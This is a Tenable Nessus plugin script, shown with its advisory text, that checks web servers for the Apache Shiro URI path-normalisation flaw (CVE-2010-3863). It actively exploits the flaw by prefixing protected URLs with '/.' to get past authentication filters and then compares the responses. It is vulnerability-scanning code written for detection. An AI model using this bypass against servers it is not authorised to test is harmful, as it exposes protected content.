Lucene search

K
nessusThis script is Copyright (C) 2004-2022 and is owned by Tenable, Inc. or an Affiliate thereof.SHIRO_SLASHDOT_BYPASS.NASL
HistoryNov 15, 2010 - 12:00 a.m.

Apache Shiro URI Path Security Directory Traversal Information Disclosure

2010-11-1500:00:00
This script is Copyright (C) 2004-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
432

The version of the Apache Shiro open source security framework running on the remote web server is affected by an error in the path-based filter chain mechanism due to a failure to properly normalize URI paths before comparing them with entries in the shiro.ini file. An unauthenticated, remote attacker can exploit this, via a crafted request using directory traversal, to bypass intended access restrictions, resulting in the disclosure of sensitive information.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(50600);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2010-3863");
  script_bugtraq_id(44616);
  script_xref(name:"EDB-ID", value:"34952");

  script_name(english:"Apache Shiro URI Path Security Directory Traversal Information Disclosure");

  script_set_attribute(attribute:"synopsis", value:
"A security framework running on the remote web server is affected by an information disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of the Apache Shiro open source security framework running on the remote web server is affected by an 
error in the path-based filter chain mechanism due to a failure to properly normalize URI paths before comparing them 
with entries in the shiro.ini file. An unauthenticated, remote attacker can exploit this, via a crafted request using 
directory traversal, to bypass intended access restrictions, resulting in the disclosure of sensitive information.");
  # https://www.securityfocus.com/archive/1/514616/100/0/threaded
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?03f0578a");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Apache Shiro version 1.1.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2010-3863");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/11/03");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/11/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/11/15");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:shiro");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2004-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("Services/www", 80);

  exit(0);
}

include('audit.inc');
include('debug.inc');
include('global_settings.inc');
include('http.inc');
include('misc_func.inc');
include('webapp_func.inc');

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_http_port(default:80);

# Lists of URLs possibly protected by Shiro.
authc_files = get_kb_list('www/' + port + '/content/30x');
authcbasic_files = get_kb_list('www/' + port + '/content/basic_auth/url/*');

if (isnull(authc_files) && isnull(authcbasic_files))
  exit(0, 'The web server on port ' + port + ' does not appear to have any pages that might be protected by Shiro\'s authentication filters.');

files = make_list();
if (!isnull(authc_files))
  files = make_list(files, authc_files);
if (!isnull(authcbasic_files))
  files = make_list(files, authcbasic_files);

dbg::log(msg:'List of URLs possibly protected by Shiro:');
foreach f (files)
  dbg::log(msg:'\t - ' + f);

disable_cookiejar();
max_files = 5;
i = 0;
# Common login patterns to verify we are able to bypass authentication
login_pat = "user((\s)?(name|id))?|pass(word)?|submit|log((\s)?\+(\s)?(in|on)|in|on)|id|email";
vuln = FALSE;
output = '';

foreach url (files)
{
  dbg::log(msg: 'Processing url: ' + url);
  if (!thorough_tests && i++ >= max_files)
    break;

  # Try to exploit the vulnerability to bypass authentication.
  url = ereg_replace(pattern:"^(.+?)([?;].*)", replace:"\1", string:url);
  exploit = '/.' + url;

  res = http_send_recv3(
    method : 'GET',
    item   : exploit,
    port   : port,
    exit_on_fail : TRUE
  );
  dbg::log(msg:'Initial Request:\n' + http_last_sent_request());
  dbg::log(msg:'Response:' + '\nStatus Code: ' + res[0] + '\nHeaders:\n' + res[1] + 'Body:\n' + res[2]);

  headers = parse_http_headers(status_line:res[0], headers:res[1]);
  if (isnull(headers))
    audit(AUDIT_WEB_NO_SERVER_HEADER, port);

  if (isnull(headers['location']))
    location = '';
  else
    location = headers['location'];

  code = headers['$code'];

  if (code == 302 && exploit+'/' >< location)
  {
    url += '/';
    exploit = '/.' + url;
    res = http_send_recv3(
      method : 'GET',
      item   : exploit,
      port   : port,
      exit_on_fail : TRUE
    );
    dbg::log(msg:'Request {Status code == 302 && exploit + / in location}:\n' + http_last_sent_request());
    dbg::log(msg:'Response:' + '\nStatus Code: ' + res[0] + '\nHeaders:\n' + res[1] + 'Body:\n' + res[2]);

    headers = parse_http_headers(status_line:res[0], headers:res[1]);
    if (isnull(headers))
      audit(AUDIT_WEB_NO_SERVER_HEADER, port);

    code = headers['$code'];
  }

  # Verify that the response before our exploit is not returning the same
  # HTTP status code
  if (code == 200)
  {
    output = strip(res[2]);
    res2 = http_send_recv3(
      method : 'GET',
      port   : port,
      item   : url,
      exit_on_fail : TRUE
    );
    dbg::log(msg:'Request {Status code == 200}:\n' + http_last_sent_request());
    dbg::log(msg:'Response:' + '\nStatus Code: ' + res2[0] + '\nHeaders:\n' + res2[1] + 'Body:\n' + res2[2]);

    if (res2[0] =~ "^HTTP/[0-9.]+ 30[1237]")
    {
      # Appears to be vulnerable. Let's follow the redirect now and verify
      res2 = http_send_recv3(
        method : 'GET',
        port   : port,
        item   : url,
        follow_redirect : 3,
        exit_on_fail    : TRUE
      );
      dbg::log(msg:'Request {Status code line matches "^HTTP/[0-9.]+ 30[1237}:\n' + http_last_sent_request());
      dbg::log(msg:'Response:' + '\nStatus Code: ' + res[0] + '\nHeaders:\n' + res[1] + 'Body:\n' + res[2]);

      # Lets check for some indication that this is a login page before we
      # report it.
      if (preg(string:res2[2], icase:TRUE, pattern:login_pat, multiline:TRUE))
        vuln = TRUE;
    }
    # Basic authentication used, and we bypassed it, so flag this case.
    if(res2[0] =~ "^HTTP/[0-9.]+ 401" && res2[1] =~ "WWW-Authenticate: Basic")
      vuln = TRUE;
  }
  if (vuln)
    break;
}

if (!vuln)
  audit(AUDIT_LISTEN_NOT_VULN, 'web server', port);

security_report_v4(
  port : port,
  generic : TRUE,
  severity : SECURITY_WARNING,
  request : make_list(build_url(qs:exploit, port:port)),
  output : output
);
exit(0);
VendorProductVersion
apacheshiro